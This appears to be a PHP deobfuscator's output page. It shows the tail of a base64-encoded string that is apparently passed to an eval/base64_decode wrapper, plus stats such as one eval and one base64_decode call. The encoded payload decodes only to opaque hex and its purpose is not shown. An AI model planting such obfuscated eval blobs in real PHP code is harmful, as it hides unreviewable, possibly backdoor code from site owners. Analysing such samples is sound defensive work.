NTg0OWI3ZGE5ZTQxMTBhYjhlMjQ5NzU2MjM0ZDAzOGYyMjY0YjljYmM1NDcxZWEwNjI3NzIzYmY4NjA3MWY2ZDExNWNhYjViMGYzZWZjZjJmOTVhNmIwYmUwNDczNGQ1NmQwMWI1MDBlYWRmZGQ4ZjAwNzNhNzY1NzVmMjRjMjZjNTY1MDkzNzE0ZTkzNTgzMGUwODY5ZDcyZTUyZDgyODQxMGZjNDljMjhhNWRlOWMzODJjY2FhM2RiMzc4NGUxYmIzMWY3NTMwMmJlMjI4ZjQ5ZTI3MjRmNmM2ZGUyODU1MmM3MjAyMzI0ODgzYTlhMWU5MzFmN2FjMDkwNDhkYTRiMzQ0YmYxY2VmMTI2NzBmYWQyMWIxMzdjY2ExMjIzYzM0ZWM5YzRmYzFmMTU4MTMzMzhiYjMzYjkyMjNmZTU1N2Q1NzI5NDJjYTI2YzllZjY5OTg0YTg4NTQyOTI1NDU1OWY4ZWM3M2JhMzJjNTRlMmM1OTVjOTRkNDcwMzEzMDYwZjc5YjAzNzk1OTE5MTZjOGU1ZTRiZWE5MDgxMTc5NjJjMmYzMWY3MWMxZDUyOTQ3NTk2MzMyMWU0MWU5MmNhMjE5OTYxNGMwNmE4NmFmMTk2NTFmNjY3MDM4NDllNzliOTMyN2M5OTBmYTE0ZmI4MzBlZjMzYWM4OTNlZDhjMDA3NjNiMWZjYzdkYzBmY2NjNDg0YWFmMDFiMDk2NWVkMjI1OTNkNDEwZmNhMDAwM2FjNGY5YWM0NzlhMzY1YTMyYzA0NGJmOWQ1MTE2ZDJjZmY0ZWJmZjU2MTFkNDNkZDNhYTg2ODI4MjVkZjk5Mzg4ZWJjYzA2Yjc2ZmM4YzlmYmM4ZGJkYjBiMDM0YmQ2MGU3YjExZWQwOTNlNjdjYTVjODQyMzRkNTZjODk3Nzg1NTY0NTkwOWRmMzQzYjM4OTMzMmNhMmRmMWY3ZDliYmE3ZTEyNzFmNTNjN2U5NzI5YjdlOTMzMGExZjg4NmFmMDg2NjI1YzI1ZDNiMDlhNjhlZmZiOWU2Y2FlZmIwMjdmNWYwODUwNmFmMzBkMDc0NGI4MzIwMzk1Mjc3ZTdhMzViMGFjZTg5MjNmZjM1NjdkZDc0YTRhZjRkY2UwOGUzZGJmOGUwOGMxNDA0YjQ5OWE5MmU1YzlhY2Y2NDkwYzE0YzI4YTRmZDQwZWZiYTE5OTkyZjM5ZDFmODg1YzM0NDczMzA5ZjIwYTgzMTEyNDgyZDQ4ZjA1NzdmNThmNDY2NTJjMjlkMzQyMzU3ODFhOTI3ODYyZDlhZTc2M2M4OGJiMWVmMzkyMDU2NDA0NjdlYTE2MDA2MGFmOGNhYzJiMWVjZmE3MWRmOTZiMjE4Nzk4YjQ5OGRiNzk0MWM3ZDJlOWFjYTI0NjNkMDVmNjJhZGZhOGM2OTUxMmM3M2IzNDQwNTJlNGFiNWE4OGIwYzI0MTA3NGU3OTI0YjQ3NDQ5NDU0ZWQ0OGI2NTgyM2ZlZDkwZDAzMWY1OTc3Zjg0MDczZGIxMDQwYmNlYThlNDBiNDNhZjZhMGVmMzU0OGUyZGRhNWI0ZAo=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 628bd3f0d1ebbe1f66ca8ebbef46dfb8
Eval Count 1
Decode Time 315 ms